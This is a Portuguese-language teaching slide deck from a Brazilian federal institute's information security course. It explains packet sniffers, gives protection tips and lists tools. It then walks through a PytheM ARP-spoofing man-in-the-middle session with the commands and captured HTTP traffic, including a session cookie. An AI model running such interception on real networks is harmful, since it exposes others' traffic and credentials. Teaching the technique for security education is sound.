

Sniffers: Analisadores de Pacotes

Segurança da Informação

Charles Tim Batista Garrocho

Instituto Federal de São Paulo – IFSP
Campus Campos do Jordão

garrocho.ifspcj.o.edu.br/SEGA6

charles.garrocho@ifsp.edu.br

Curso Superior de TADS



INSTITUTO FEDERAL

Um **sniffer** (analisador de pacotes, ou analisador de protocolos) em rede de computadores, é o procedimento realizado por uma ferramenta capaz de interceptar e registrar o tráfego de dados em uma rede.

Conforme o fluxo de dados trafega na rede, o sniffer **captura** cada pacote e eventualmente **decodifica** e **analisa** o seu conteúdo de acordo com o protocolo definido em um RFC ou uma outra especificação.

Ele pode ser utilizado tanto para propósitos **maliciosos** como também para o gerenciamento de rede, **monitoramento** e **diagnóstico**.

Invasores podem obter cópias de arquivos importantes durante sua transmissão, obter senhas que permitam estender o seu raio de penetração em um ambiente invadido ou ver as conversações em tempo real.



Exemplo de Sniffer

Abaixo a vítima faz envio e recebimentos de dados que são interceptados pelo atacante no **meio do caminho** (pela rede da vítima ou por onde a mensagem foi encaminhada) até o servidor.



INSTITUTO FEDERAL

Como se proteger de Sniffer

Nunca acesse sites que exijam login e não tenham uma conexão **HTTPS**. Caso contrário, o invasor poderá analisar a mensagem de forma facilitada.

Ao acessar redes públicas, **desconfie** de qualquer site que está acessando. Evite trocar mensagens nessas redes e acessar páginas que exijam login.

Verifique sua conexão de rede. Se a conexão de rede (download e upload) está mais **lento** que o normal, provavelmente você poderá estar sofrendo uma invasão.

Detectar um sniffer não é fácil. Sniffers são aplicações **passivas**, não geram nada que possa ser sentido facilmente pelos usuários e/ou administradores. Em geral, não deixam rastros.



INSTITUTO FEDERAL

Ferramentas de Sniffers

Hoje em dia existem vários sniffers, alguns são **simples** e com poucos recursos, já outros são **avançados** e conseguem até mesmo importar arquivos e relatórios de outras ferramentas de análise de rede.

Dentre esses sniffers o que é mais usado e recomendável é o **Wireshark**.

Segue abaixo uma lista dos Sniffers **mais utilizados**:

- WireShark;
- Microsoft Network Monitor;
- Capsa Packet Sniffer;
- NetworkMiner;
- SniffPass;
- PytheM.



INSTITUTO FEDERAL

PytheM - Penetration Testing Framework

PytheM é um framework de Testes de Penetração. Desenvolvido em Python, executa apenas em Sistemas Operacionais Linux, por utilizar diversas ferramentas deste sistema.



INSTITUTO FEDERAL

Instalando o PytheM e Executando Exemplos

Acesse o site:

<https://github.com/m4n3dw0lf/PytheM/wiki/Installation>

Instale todas as dependências, após isso faça a instalação do PytheM.

Acesse os exemplos desta ferramenta através do site:

<https://github.com/m4n3dw0lf/PytheM/wiki/Examples>

Execute em seu computador o primeiro exemplo nomeado de **ARP spoofing - Man-in-the-middle**.



INSTITUTO FEDERAL

Analizando Pacotes Através de arpspoof

```
[ PytheM - Penetration Testing Framework v0.6.7 ]
```

```
by: m4n3dw0lf
```

```
[-]PytheM is loading ...
```

```
pythem> set interface wlp3s0
```

```
pythem> set gateway 192.168.128.128
```

```
pythem> arpspoof start
```

```
[*] Iptables redefined
```

```
[*] Setting the packet forwarding.
```

```
[!] IP address/range was not specified, will intercept only gateway requests and not replies.
```

```
[+] ARP spoofing initialized.
```

```
pythem> sniff http
```

```
[*] Wish to write a .pcap file with the sniffed packets in the actual directory?
```

```
[y/n]: y
```

```
[+] PytheM sniffer initialized.
```



INSTITUTO FEDERAL

Analizando Pacotes Através de arpspoof

```
CLIENT: 192.168.132.2 ---> SERVER: 162.208.22.34  
FLAGS:PA SEQ:3528070306 ACK:3479474294
```

Load:

```
GET /vast/3866892?n=1493992836849&player_width=&player_height=&pageurl=http%3A%2F%2Fwww.megacurioso.com.br%2F HTTP/1.1  
Host: vast.bp3866892.btrll.com  
Connection: keep-alive  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36  
Origin: http://www.megacurioso.com.br  
Accept: */*  
Referer: http://www.megacurioso.com.br/  
Accept-Encoding: gzip, deflate, sdch  
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4  
Cookie: BR_APS=3WQyBIQg66xcB9RMZXA
```



INSTITUTO FEDERAL